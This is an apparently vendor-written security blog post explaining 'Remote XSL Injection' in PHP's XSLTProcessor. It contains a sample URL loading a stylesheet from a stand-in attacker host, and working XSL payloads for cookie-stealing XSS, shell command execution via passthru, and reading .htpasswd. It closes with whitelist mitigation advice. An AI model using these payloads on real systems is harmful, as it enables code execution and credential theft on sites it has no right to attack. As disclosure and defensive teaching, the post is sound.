Today I’m going to talk about a new vulnerability which I named Remote XSL Injection. I didn’t find any references on the internet about this vulnerability, which I found while auditing some PHP code for a friend.
PHP supports XSL transformations using the XSLTProcessor class.
The code below loads the XML document collection.xml and transform it through an XSL file.
This code was taken from the PHP XSLTProcessor::transformToXML page and modified to include the vulnerability.
The vulnerability occurs when the XSL file is loaded from a source controlled by the attacker.
In this example, you can specify the XSL file as the GET parameter “xsl”.
You can include a remote XSL file by using an URL like
http://www.website.com/xsl/transform.php?xsl=http://evilwebsite.com/evil.xsl
What can be done with this vulnerability?
1. XSS (Cross Site Scripting). Sample XSL file that will execute Javascript code.
<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”>
<xsl:template match=”/”>
<script>alert(document.cookie)</script>
</xsl:template>
</xsl:stylesheet>
2. Execute PHP code (if registerPHPFunctions is enabled). XSLTProcessor class has a method named registerPHPFunctions. This method enables the ability to use PHP functions as XSLT functions within XSL stylesheets. Sample XSL file that will execute PHP code (works only if registerPHPFunctions is enabled).
<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”>
<xsl:template match=”/”>
<xsl:value-of select=”php:function(‘passthru’,’ls -la /’)”/>
</xsl:template>
</xsl:stylesheet>
3. Read arbitrary files. There are limitations to which files one can read. transformToXML method will try to parse the file and will complain if it doesn’t have the right format. You can only read HTML formatted data. However, you can read the first line from any file. This may not sound like much but it could be useful in some situations (for example .htpasswd files).
Sample XSL file
<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”>
<xsl:template match=”/”>
<xsl:copy-of select=”document(‘.htpasswd’)”/>
</xsl:template>
</xsl:stylesheet>
In my case .htpasswd contains only one line (test:qKMmz/ZMJFHc6).
Including the XSL file above will produce the following output:
<br />
<b>Warning</b>: XSLTProcessor::transformToXml()
[<a href='xsltprocessor.transformtoxml'>xsltprocessor.transformtoxml</a>]: /path/.htpasswd:1: parser error : Start tag expected, '<' not found in <b>/path/transform.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>: XSLTProcessor::transformToXml()
[<a href='xsltprocessor.transformtoxml'>xsltprocessor.transformtoxml</a>]: test:qKMmz/ZMJFHc6 in <b>/path/transform.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>: XSLTProcessor::transformToXml()
[<a href='xsltprocessor.transformtoxml'>xsltprocessor.transformtoxml</a>]: ^ in <b>/path/transform.php</b> on line <b>15</b><br />
As you can see, transformToXml found some errors in the first line of this file and it showed the offending line.
To protect against such vulnerability one needs to make sure that he doesn’t use user-supplied input in the XSL filename. The best solution would be to define a list of permitted filenames and only accept XSL filenames from that list.
To test if you application is vulnerable to this vulnerability, scan it with Acunetix Web Vulnerability Scanner.
Get the latest content on web security
in your inbox each week.